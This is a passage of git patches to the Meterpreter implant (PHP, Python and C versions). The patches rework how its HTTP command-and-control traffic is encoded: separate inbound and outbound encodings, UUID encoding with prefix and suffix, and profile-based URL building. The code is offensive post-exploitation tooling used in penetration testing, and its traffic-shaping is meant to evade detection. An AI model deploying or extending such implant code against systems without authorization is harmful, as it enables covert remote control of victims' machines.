$parts['scheme'] . '://' . $parts['host'] . $port . '/' . $new_uuid; - } return ERROR_SUCCESS; } } @@ -1056,7 +1062,12 @@ function supports_aes() { function decrypt_packet($raw) { $len_array = unpack("Nlen", substr($raw, 20, 4)); $encrypt_flags = $len_array['len']; - if ($encrypt_flags == ENC_AES256 && supports_aes() && $GLOBALS['AES_KEY'] != null) { + $type_array = unpack("Ntype", substr($raw, 28, 4)); + $pkt_type = $type_array['type']; + # Like python: config packets are never AES-encrypted even when a key is + # set (the key arrives in a config packet), so don't try to decrypt them. + if ($encrypt_flags == ENC_AES256 && supports_aes() && $GLOBALS['AES_KEY'] != null + && $pkt_type != PACKET_TYPE_CONFIG) { $tlv = substr($raw, 24); $dec = openssl_decrypt(substr($tlv, 24), AES_256_CBC, $GLOBALS['AES_KEY'], OPENSSL_RAW_DATA, substr($tlv, 8, 16)); return pack("N", strlen($dec) + 8) . substr($tlv, 4, 4) . $dec; @@ -1232,6 +1243,12 @@ function tlv_unpack($raw_tlv) { $tlv = unpack("Nlen/Ntype", $raw_tlv); $tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8); } + elseif (($type & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) { + # A group's value is the raw concatenation of its sub-TLVs; callers + # (packet_get_tlv_raw / parse_c2_verb_config) parse into it. + $tlv = unpack("Nlen/Ntype", $raw_tlv); + $tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8); + } else { my_print("Wtf type is this? $type"); $tlv = null; @@ -1291,6 +1308,12 @@ function packet_enum_tlvs_raw($raw, $type) { return $all; } +# Like packet_enum_tlvs_raw but starts at offset 8 to skip the packet +# [length][type] header (use on full packets, not header-less group values). +function packet_enum_tlvs($pkt, $type) { + return packet_enum_tlvs_raw(substr($pkt, 8), $type); +} + function parse_c2_verb_config($group_bytes) { $config = array(); $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_URI); @@ -1319,23 +1342,23 @@ function parse_config_block($raw) { $config = array(); - $tlv = packet_get_tlv_raw($config_bytes, TLV_TYPE_UUID); + $tlv = packet_get_tlv($config_bytes, TLV_TYPE_UUID); $config['uuid'] = ($tlv != null) ? $tlv['value'] : str_repeat("\x00", 16); - $tlv = packet_get_tlv_raw($config_bytes, TLV_TYPE_SESSION_GUID); + $tlv = packet_get_tlv($config_bytes, TLV_TYPE_SESSION_GUID); $config['session_guid'] = ($tlv != null) ? $tlv['value'] : str_repeat("\x00", 16); - $tlv = packet_get_tlv_raw($config_bytes, TLV_TYPE_SESSION_EXPIRY); + $tlv = packet_get_tlv($config_bytes, TLV_TYPE_SESSION_EXPIRY); $config['session_expiry'] = ($tlv != null) ? $tlv['value'] : 604800; - $tlv = packet_get_tlv_raw($config_bytes, TLV_TYPE_DEBUG_LOG); + $tlv = packet_get_tlv($config_bytes, TLV_TYPE_DEBUG_LOG); $config['debug_log'] = ($tlv != null) ? $tlv['value'] : null; - $tlv = packet_get_tlv_raw($config_bytes, TLV_TYPE_SYM_KEY); + $tlv = packet_get_tlv($config_bytes, TLV_TYPE_SYM_KEY); $config['sym_key'] = ($tlv != null) ? $tlv['value'] : null; $transports = array(); - foreach (packet_enum_tlvs_raw($config_bytes, TLV_TYPE_C2) as $c2_tlv) { + foreach (packet_enum_tlvs($config_bytes, TLV_TYPE_C2) as $c2_tlv) { $c2_bytes = $c2_tlv['value']; $t = array(); @@ -2121,23 +2144,32 @@ function http_transport_uuid($transport) { } function http_build_profile_url($transport, $profile) { - $base_url = $transport['url']; - if ($profile == null || !isset($profile['uri']) || $profile['uri'] == null) { - return $base_url; - } - $parsed = parse_url($base_url); - $url = $parsed['scheme'] . '://' . $parsed['host']; - if (isset($parsed['port'])) { $url .= ':' . $parsed['port']; } - $uri = $profile['uri']; - if ($uri[0] != '/') { $uri = '/' . $uri; } - $url .= $uri; - - if (isset($profile['uuid_get']) && $profile['uuid_get'] != null) { - $uuid = http_transport_uuid($transport); + # Always rebuild from the (untouched) base + current UUID each request, + # like metsrv generate_uri, so a patched UUID is honoured without mutating + # $transport['url']. + $parsed = parse_url($transport['url']); + $base = $parsed['scheme'] . '://' . $parsed['host']; + if (isset($parsed['port'])) { $base .= ':' . $parsed['port']; } + + $uri = ''; + if ($profile != null && isset($profile['uri']) && $profile['uri'] != null) { + $uri = $profile['uri']; + if ($uri[0] != '/') { $uri = '/' . $uri; } + } + $url = $base . $uri; + + $uuid = http_transport_uuid($transport); + if ($profile != null && isset($profile['uuid_get']) && $profile['uuid_get'] != null) { if (strlen($uuid) > 0) { $sep = (strpos($url, '?') !== false) ? '&' : '?'; $url .= $sep . $profile['uuid_get'] . '=' . $uuid; } + } elseif ($profile == null + || (empty($profile['uuid_header']) && empty($profile['uuid_cookie']))) { + # No param/header/cookie placement => carry the id in the URI path. + if (strlen($uuid) > 0) { + $url = rtrim($url, '/') . '/' . $uuid; + } } return $url; } @@ -2212,7 +2244,9 @@ function http_get_packet($transport) { if ($start > 0 || $profile['suffix_skip'] > 0) { $raw = substr($raw, $start, $end - $start); } - $raw = c2_decode($raw, $profile['enc']); + # NOTE: $profile['enc'] is the client metadata/id (request-side) + # encoding; it must NOT decode the response. The response transform is + # the server `output` (conveyed via prefix/suffix skip above). } return $raw; From 1f29fd8108ee95c6baf6aff9302b79c24c5dfea8 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 12:01:24 +1000 Subject: [PATCH 15/35] Correctly handle encoding of in/out bound data --- php/meterpreter/meterpreter.php | 17 ++++++++++------- python/meterpreter/meterpreter.py | 14 ++++++++------ 2 files changed, 18 insertions(+), 13 deletions(-) diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php index 57f463f8d..8b662704e 100755 --- a/php/meterpreter/meterpreter.php +++ b/php/meterpreter/meterpreter.php @@ -264,7 +264,8 @@ function socket_set_option($sock, $type, $opt, $value) { define("TLV_TYPE_C2_CERT_HASH", TLV_META_TYPE_RAW | 717); define("TLV_TYPE_C2_PREFIX", TLV_META_TYPE_RAW | 718); define("TLV_TYPE_C2_SUFFIX", TLV_META_TYPE_RAW | 719); -define("TLV_TYPE_C2_ENC", TLV_META_TYPE_UINT | 720); +define("TLV_TYPE_C2_ENC_INBOUND", TLV_META_TYPE_UINT | 720); +define("TLV_TYPE_C2_ENC_OUTBOUND", TLV_META_TYPE_UINT | 728); define("TLV_TYPE_C2_PREFIX_SKIP", TLV_META_TYPE_UINT | 721); define("TLV_TYPE_C2_SUFFIX_SKIP", TLV_META_TYPE_UINT | 722); define("TLV_TYPE_C2_UUID_COOKIE", TLV_META_TYPE_STRING | 723); @@ -1318,8 +1319,10 @@ function parse_c2_verb_config($group_bytes) { $config = array(); $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_URI); $config['uri'] = ($tlv != null) ? $tlv['value'] : null; - $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_ENC); - $config['enc'] = ($tlv != null) ? $tlv['value'] : C2_ENCODING_NONE; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_ENC_INBOUND); + $config['enc_inbound'] = ($tlv != null) ? $tlv['value'] : C2_ENCODING_NONE; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_ENC_OUTBOUND); + $config['enc_outbound'] = ($tlv != null) ? $tlv['value'] : C2_ENCODING_NONE; $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_PREFIX); $config['prefix'] = ($tlv != null) ? $tlv['value'] : null; $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_SUFFIX); @@ -2244,9 +2247,9 @@ function http_get_packet($transport) { if ($start > 0 || $profile['suffix_skip'] > 0) { $raw = substr($raw, $start, $end - $start); } - # NOTE: $profile['enc'] is the client metadata/id (request-side) - # encoding; it must NOT decode the response. The response transform is - # the server `output` (conveyed via prefix/suffix skip above). + if ($profile['enc_inbound'] != C2_ENCODING_NONE) { + $raw = c2_decode($raw, $profile['enc_inbound']); + } } return $raw; @@ -2257,7 +2260,7 @@ function http_send_packet($transport, $packet) { $body = $packet; if ($profile != null) { - $body = c2_encode($body, $profile['enc']); + $body = c2_encode($body, $profile['enc_outbound']); $prefix = isset($profile['prefix']) ? $profile['prefix'] : ''; $suffix = isset($profile['suffix']) ? $profile['suffix'] : ''; if (strlen($prefix) > 0 || strlen($suffix) > 0) { diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index f9c2172bb..91674472b 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -178,7 +178,8 @@ TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload -TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url) +TLV_TYPE_C2_ENC_INBOUND = TLV_META_TYPE_UINT | 720 # Server->client (response) body encoding +TLV_TYPE_C2_ENC_OUTBOUND = TLV_META_TYPE_UINT | 728 # Client->server (request) body/metadata encoding TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes) TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes) TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in @@ -925,7 +926,8 @@ def _parse_c2_verb_options(group_bytes): opts['uri'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_URI).get('value') opts['ua'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UA).get('value') opts['headers'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_HEADERS).get('value') - opts['enc'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC).get('value', C2_ENCODING_NONE) + opts['enc_inbound'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC_INBOUND).get('value', C2_ENCODING_NONE) + opts['enc_outbound'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC_OUTBOUND).get('value', C2_ENCODING_NONE) opts['prefix_skip'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_PREFIX_SKIP).get('value', 0) opts['suffix_skip'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_SUFFIX_SKIP).get('value', 0) opts['prefix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_PREFIX).get('value') @@ -1203,9 +1205,9 @@ def _get_packet(self): suffix_skip = self.c2_get.get('suffix_skip', 0) end = len(raw_response) - suffix_skip if suffix_skip else len(raw_response) raw_response = raw_response[prefix_skip:end] - # c2_get['enc'] is the client metadata/id (request-side) - # encoding; it must NOT decode the response. The response - # transform is the server `output` (prefix/suffix skip). + enc_in = self.c2_get.get('enc_inbound', C2_ENCODING_NONE) + if enc_in != C2_ENCODING_NONE: + raw_response = self._c2_decode(raw_response, enc_in) packet = raw_response if len(packet) < PACKET_HEADER_SIZE: @@ -1237,7 +1239,7 @@ def _send_packet(self, packet): url = self._build_request_url(self.c2_post, uuid) headers = self._build_request_headers(self.c2_post, uuid) # Encode the packet based on C2 profile encoding flags - body = self._c2_encode(packet, self.c2_post.get('enc', C2_ENCODING_NONE)) + body = self._c2_encode(packet, self.c2_post.get('enc_outbound', C2_ENCODING_NONE)) # Wrap with prefix/suffix prefix = self.c2_post.get('prefix') or b'' suffix = self.c2_post.get('suffix') or b'' From 55d1d2e6345be926e7ca931ad22a4cf0c1379748 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 12:17:33 +1000 Subject: [PATCH 16/35] Handle encoding correctly in windows meterp --- c/meterpreter/source/common/common_core.h | 3 ++- c/meterpreter/source/common/common_remote.h | 3 ++- c/meterpreter/source/metsrv/server_http_utils.c | 8 ++++---- .../source/metsrv/server_transport_winhttp.c | 14 ++++++++++---- 4 files changed, 18 insertions(+), 10 deletions(-) diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index 83347c655..fd93b5cf9 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -198,7 +198,8 @@ typedef enum TLV_TYPE_C2_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 717), ///! Expected SSL certificate hash TLV_TYPE_C2_PREFIX = TLV_VALUE(TLV_META_TYPE_RAW, 718), ///! Data to prepend to the outgoing payload TLV_TYPE_C2_SUFFIX = TLV_VALUE(TLV_META_TYPE_RAW, 719), ///! Data to append to the outgoing payload - TLV_TYPE_C2_ENC = TLV_VALUE(TLV_META_TYPE_UINT, 720), ///! Request encoding flags (Base64|URL|Base64url) + TLV_TYPE_C2_ENC_INBOUND = TLV_VALUE(TLV_META_TYPE_UINT, 720), ///! Server->client (response) body encoding flags + TLV_TYPE_C2_ENC_OUTBOUND = TLV_VALUE(TLV_META_TYPE_UINT, 728), ///! Client->server (request) body encoding flags TLV_TYPE_C2_PREFIX_SKIP = TLV_VALUE(TLV_META_TYPE_UINT, 721), ///! Size of prefix to skip (in bytes) TLV_TYPE_C2_SUFFIX_SKIP = TLV_VALUE(TLV_META_TYPE_UINT, 722), ///! Size of suffix to skip (in bytes) TLV_TYPE_C2_UUID_COOKIE = TLV_VALUE(TLV_META_TYPE_STRING, 723), ///! Name of the cookie to put the UUID in diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h index 468f0b6df..486d4b066 100644 --- a/c/meterpreter/source/common/common_remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -83,7 +83,8 @@ typedef struct _HttpRequestOptions UINT payload_suffix_size; ///! Size of the payload suffix UINT payload_prefix_skip; ///! Size of the incoming prefix to ignore UINT payload_suffix_skip; ///! Size of the incoming suffix to ignore - UINT encode_flags; ///! Flags to indicate what kind of encoding to apply, if any. + UINT encode_flags_inbound; ///! Flags to indicate how server->client (response) bodies are encoded. + UINT encode_flags_outbound; ///! Flags to indicate how client->server (request) bodies are encoded. STRTYPE uuid_get; ///! The name of the GET/query string parameter to put the UUID in (optional). STRTYPE uuid_cookie; ///! The name of the cookie to put the UUID in (optional). STRTYPE uuid_header; ///! The name of the HTTP Header to put the UUID in (optional). diff --git a/c/meterpreter/source/metsrv/server_http_utils.c b/c/meterpreter/source/metsrv/server_http_utils.c index 6bfb53e58..46a6b1219 100644 --- a/c/meterpreter/source/metsrv/server_http_utils.c +++ b/c/meterpreter/source/metsrv/server_http_utils.c @@ -75,7 +75,7 @@ BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD HttpConnection* conn = &ctx->get_connection; BOOL result = FALSE; - switch (conn->options.encode_flags) + switch (conn->options.encode_flags_inbound) { case C2_ENCODING_URL: { @@ -89,7 +89,7 @@ BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD DWORD decodeInputLen = encodedDataLen; LPBYTE convertedBuf = NULL; - if (conn->options.encode_flags == C2_ENCODING_B64URI) + if (conn->options.encode_flags_inbound == C2_ENCODING_B64URI) { convertedBuf = b64uri_to_b64(encodedData, encodedDataLen, &decodeInputLen); if (convertedBuf == NULL) @@ -158,7 +158,7 @@ BOOL encode_raw_packet(HttpTransportContext* ctx, LPBYTE data, DWORD dataLen, LP HttpConnection* conn = &ctx->post_connection; BOOL result = FALSE; - switch (conn->options.encode_flags) + switch (conn->options.encode_flags_outbound) { case C2_ENCODING_URL: { @@ -177,7 +177,7 @@ BOOL encode_raw_packet(HttpTransportContext* ctx, LPBYTE data, DWORD dataLen, LP { if (CryptBinaryToStringA(data, dataLen, flags, encoded, encodedDataLen)) { - if (conn->options.encode_flags == C2_ENCODING_B64URI) + if (conn->options.encode_flags_outbound == C2_ENCODING_B64URI) { b64_to_b64uri(encoded, encodedDataLen); } diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index 8e0e8ce1d..939be3edb 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -947,9 +947,13 @@ static void transport_destroy_http(Transport* transport) */ BOOL set_http_options_to_tlv(Packet* optionsPacket, HttpRequestOptions* sourceOptions) { - if (sourceOptions->encode_flags != 0) + if (sourceOptions->encode_flags_inbound != 0) { - packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_ENC, sourceOptions->encode_flags); + packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_ENC_INBOUND, sourceOptions->encode_flags_inbound); + } + if (sourceOptions->encode_flags_outbound != 0) + { + packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_ENC_OUTBOUND, sourceOptions->encode_flags_outbound); } if (sourceOptions->headers != NULL) { @@ -1052,7 +1056,8 @@ BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptio { DWORD payloadSize = 0; - targetOptions->encode_flags = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC); + targetOptions->encode_flags_inbound = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC_INBOUND); + targetOptions->encode_flags_outbound = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC_OUTBOUND); targetOptions->headers = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_HEADERS, NULL); targetOptions->payload_prefix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_PREFIX, &payloadSize); targetOptions->payload_prefix_size = payloadSize; @@ -1089,7 +1094,8 @@ BOOL get_http_options_from_config(Packet* packet, Tlv* c2Tlv, UINT tlvType, Http static void debug_print_http_options(PSTR type, HttpRequestOptions* options) { - dprintf("[HTTP OPTION] - %s - Encode Flags: 0x%x", type, options->encode_flags); + dprintf("[HTTP OPTION] - %s - Encode Flags Inbound: 0x%x", type, options->encode_flags_inbound); + dprintf("[HTTP OPTION] - %s - Encode Flags Outbound: 0x%x", type, options->encode_flags_outbound); dprintf("[HTTP OPTION] - %s - Headers: %S", type, options->headers); dprintf("[HTTP OPTION] - %s - Payload Prefix Size: %u", type, options->payload_prefix_size); dprintf("[HTTP OPTION] - %s - Payload Prefix: %s", type, options->payload_prefix); From 876374d85322ba33b9664ae93622b0abc3a8b339 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 13:49:45 +1000 Subject: [PATCH 17/35] Remove trans_* defines from python extension --- .../extensions/python/Lib/meterpreter/core.py | 14 ---- .../python/Lib/meterpreter/transport.py | 67 ++----------------- 2 files changed, 5 insertions(+), 76 deletions(-) diff --git a/c/meterpreter/source/extensions/python/Lib/meterpreter/core.py b/c/meterpreter/source/extensions/python/Lib/meterpreter/core.py index 6751d14ee..2efb23fe6 100644 --- a/c/meterpreter/source/extensions/python/Lib/meterpreter/core.py +++ b/c/meterpreter/source/extensions/python/Lib/meterpreter/core.py @@ -93,20 +93,6 @@ TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 -TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430 -TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431 -TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432 -TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433 -TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434 -TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435 -TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436 -TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437 -TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438 -TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 -TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 -TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441 -TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442 - TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 diff --git a/c/meterpreter/source/extensions/python/Lib/meterpreter/transport.py b/c/meterpreter/source/extensions/python/Lib/meterpreter/transport.py index b200d940b..7a7002720 100644 --- a/c/meterpreter/source/extensions/python/Lib/meterpreter/transport.py +++ b/c/meterpreter/source/extensions/python/Lib/meterpreter/transport.py @@ -1,68 +1,11 @@ -import meterpreter_bindings -import datetime - -from meterpreter.core import * -from meterpreter.tlv import * -from meterpreter.command import * +# Transport list/add helpers used to rely on TLV_TYPE_TRANS_* TLVs, which +# have been removed. Reimplement on the new C2 TLV shape before exposing +# these functions again. def list(): - resp = invoke_meterpreter(COMMAND_ID_CORE_TRANSPORT_LIST, True) - if resp == None: - return [] - - if packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] != 0: - return [] - - transports = [] - for transport in packet_enum_tlvs(resp, TLV_TYPE_TRANS_GROUP): - t = transport['value'] - transports.append({ - 'URL': packet_get_tlv(t, TLV_TYPE_TRANS_URL)['value'], - 'CommTimeout': packet_get_tlv(t, TLV_TYPE_TRANS_COMM_TIMEOUT)['value'], - 'RetryTotal': packet_get_tlv(t, TLV_TYPE_TRANS_RETRY_TOTAL)['value'], - 'RetryWait': packet_get_tlv(t, TLV_TYPE_TRANS_RETRY_WAIT)['value'], - 'UA': packet_get_tlv_default(t, TLV_TYPE_TRANS_UA, None)['value'], - 'ProxyHost': packet_get_tlv_default(t, TLV_TYPE_TRANS_PROXY_HOST, None)['value'], - 'ProxyUser': packet_get_tlv_default(t, TLV_TYPE_TRANS_PROXY_USER, None)['value'], - 'ProxyPass': packet_get_tlv_default(t, TLV_TYPE_TRANS_PROXY_PASS, None)['value'], - 'CertHash': packet_get_tlv_default(t, TLV_TYPE_TRANS_CERT_HASH, None)['value'] - }) - - expiry_secs = packet_get_tlv(resp, TLV_TYPE_TRANS_SESSION_EXP)['value'] - expiry = datetime.datetime.now() + datetime.timedelta(seconds=expiry_secs) - return { - 'SessionExpiry': expiry, - 'Transports': transports - } + raise NotImplementedError("transport.list() pending rewrite onto C2 TLVs") def add(url, session_expiry=None, comm_timeout=None, retry_total=None, retry_wait=None, ua=None, proxy_host=None, proxy_user=None, proxy_pass=None, cert_hash=None): - - tlv = tlv_pack(TLV_TYPE_TRANS_URL, url) - - if session_expiry: - tlv += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, session_expiry) - if comm_timeout: - tlv += tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, comm_timeout) - if retry_total: - tlv += tlv_pack(TLV_TYPE_TRANS_RETRY_TOTAL, retry_total) - if retry_wait: - tlv += tlv_pack(TLV_TYPE_TRANS_RETRY_WAIT, retry_wait) - if ua: - tlv += tlv_pack(TLV_TYPE_TRANS_UA, ua) - if proxy_host: - tlv += tlv_pack(TLV_TYPE_TRANS_PROXY_HOST, proxy_host) - if proxy_user: - tlv += tlv_pack(TLV_TYPE_TRANS_PROXY_USER, proxy_user) - if proxy_pass: - tlv += tlv_pack(TLV_TYPE_TRANS_PROXY_PASS, proxy_pass) - if cert_hash: - tlv += tlv_pack(TLV_TYPE_TRANS_CERT_HASH, cert_hash) - - resp = invoke_meterpreter(COMMAND_ID_CORE_TRANSPORT_ADD, True, tlv) - if resp == None: - return False - - return packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] == 0 - + raise NotImplementedError("transport.add() pending rewrite onto C2 TLVs") From a6c162c65f4f8ff01820be1e48b9bfaffa318691 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 14:07:09 +1000 Subject: [PATCH 18/35] Correctly handle id/meta encoding in PHP --- php/meterpreter/meterpreter.php | 57 ++++++++++++++++++++++++++------- 1 file changed, 46 insertions(+), 11 deletions(-) diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php index 8b662704e..210fed059 100755 --- a/php/meterpreter/meterpreter.php +++ b/php/meterpreter/meterpreter.php @@ -265,7 +265,10 @@ function socket_set_option($sock, $type, $opt, $value) { define("TLV_TYPE_C2_PREFIX", TLV_META_TYPE_RAW | 718); define("TLV_TYPE_C2_SUFFIX", TLV_META_TYPE_RAW | 719); define("TLV_TYPE_C2_ENC_INBOUND", TLV_META_TYPE_UINT | 720); -define("TLV_TYPE_C2_ENC_OUTBOUND", TLV_META_TYPE_UINT | 728); +define("TLV_TYPE_C2_ENC_OUTBOUND", TLV_META_TYPE_UINT | 728); +define("TLV_TYPE_C2_ENC_UUID", TLV_META_TYPE_UINT | 729); +define("TLV_TYPE_C2_UUID_PREFIX", TLV_META_TYPE_RAW | 730); +define("TLV_TYPE_C2_UUID_SUFFIX", TLV_META_TYPE_RAW | 731); define("TLV_TYPE_C2_PREFIX_SKIP", TLV_META_TYPE_UINT | 721); define("TLV_TYPE_C2_SUFFIX_SKIP", TLV_META_TYPE_UINT | 722); define("TLV_TYPE_C2_UUID_COOKIE", TLV_META_TYPE_STRING | 723); @@ -1323,6 +1326,12 @@ function parse_c2_verb_config($group_bytes) { $config['enc_inbound'] = ($tlv != null) ? $tlv['value'] : C2_ENCODING_NONE; $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_ENC_OUTBOUND); $config['enc_outbound'] = ($tlv != null) ? $tlv['value'] : C2_ENCODING_NONE; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_ENC_UUID); + $config['enc_uuid'] = ($tlv != null) ? $tlv['value'] : C2_ENCODING_NONE; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_UUID_PREFIX); + $config['uuid_prefix'] = ($tlv != null) ? $tlv['value'] : ''; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_UUID_SUFFIX); + $config['uuid_suffix'] = ($tlv != null) ? $tlv['value'] : ''; $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_PREFIX); $config['prefix'] = ($tlv != null) ? $tlv['value'] : null; $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_SUFFIX); @@ -2146,29 +2155,55 @@ function http_transport_uuid($transport) { return http_get_uuid_from_url($transport['url']); } +# Apply the profile's UUID transform (encode + prepend + append) to the +# raw UUID before placing it in URL/header/cookie. With no profile, the +# raw UUID is returned unchanged. +function http_render_uuid($profile, $uuid) { + if ($profile == null || strlen($uuid) == 0) { + return $uuid; + } + $enc = isset($profile['enc_uuid']) ? $profile['enc_uuid'] : C2_ENCODING_NONE; + $prefix = isset($profile['uuid_prefix']) ? $profile['uuid_prefix'] : ''; + $suffix = isset($profile['uuid_suffix']) ? $profile['uuid_suffix'] : ''; + return $prefix . c2_encode($uuid, $enc) . $suffix; +} + +function http_non_c2_url($transport) { + # No C2 profile: keep the LURI-bearing base path from $transport['url'] + # and swap the trailing UUID segment for the current one (metsrv + # generate_uri equivalent — honours a patched UUID without mutating + # $transport['url']). + $url = rtrim($transport['url'], '/'); + $pos = strrpos($url, '/'); + $base = ($pos !== false) ? substr($url, 0, $pos) : $url; + return $base . '/' . http_transport_uuid($transport); +} + function http_build_profile_url($transport, $profile) { - # Always rebuild from the (untouched) base + current UUID each request, - # like metsrv generate_uri, so a patched UUID is honoured without mutating - # $transport['url']. + if ($profile == null) { + return http_non_c2_url($transport); + } + + # With a C2 profile: discard LURI from the baked-in URL — the profile's + # per-verb `set uri` is the authoritative request path. $parsed = parse_url($transport['url']); $base = $parsed['scheme'] . '://' . $parsed['host']; if (isset($parsed['port'])) { $base .= ':' . $parsed['port']; } $uri = ''; - if ($profile != null && isset($profile['uri']) && $profile['uri'] != null) { + if (isset($profile['uri']) && $profile['uri'] != null) { $uri = $profile['uri']; if ($uri[0] != '/') { $uri = '/' . $uri; } } $url = $base . $uri; - $uuid = http_transport_uuid($transport); - if ($profile != null && isset($profile['uuid_get']) && $profile['uuid_get'] != null) { + $uuid = http_render_uuid($profile, http_transport_uuid($transport)); + if (isset($profile['uuid_get']) && $profile['uuid_get'] != null) { if (strlen($uuid) > 0) { $sep = (strpos($url, '?') !== false) ? '&' : '?'; $url .= $sep . $profile['uuid_get'] . '=' . $uuid; } - } elseif ($profile == null - || (empty($profile['uuid_header']) && empty($profile['uuid_cookie']))) { + } elseif (empty($profile['uuid_header']) && empty($profile['uuid_cookie'])) { # No param/header/cookie placement => carry the id in the URI path. if (strlen($uuid) > 0) { $url = rtrim($url, '/') . '/' . $uuid; @@ -2187,13 +2222,13 @@ function http_build_context($transport, $profile, $body = null) { } if ($profile != null) { if (isset($profile['uuid_header']) && $profile['uuid_header'] != null) { - $uuid = http_transport_uuid($transport); + $uuid = http_render_uuid($profile, http_transport_uuid($transport)); if (strlen($uuid) > 0) { $headers .= $profile['uuid_header'] . ': ' . $uuid . "\r\n"; } } if (isset($profile['uuid_cookie']) && $profile['uuid_cookie'] != null) { - $uuid = http_transport_uuid($transport); + $uuid = http_render_uuid($profile, http_transport_uuid($transport)); if (strlen($uuid) > 0) { $headers .= "Cookie: " . $profile['uuid_cookie'] . '=' . $uuid . "\r\n"; } From 096c3e51689e9cf1eaab1c8e64181fd71c8eeb20 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 14:58:40 +1000 Subject: [PATCH 19/35] Python UUID encoding fixes --- python/meterpreter/meterpreter.py | 47 +++++++++++++++++++++++-------- 1 file changed, 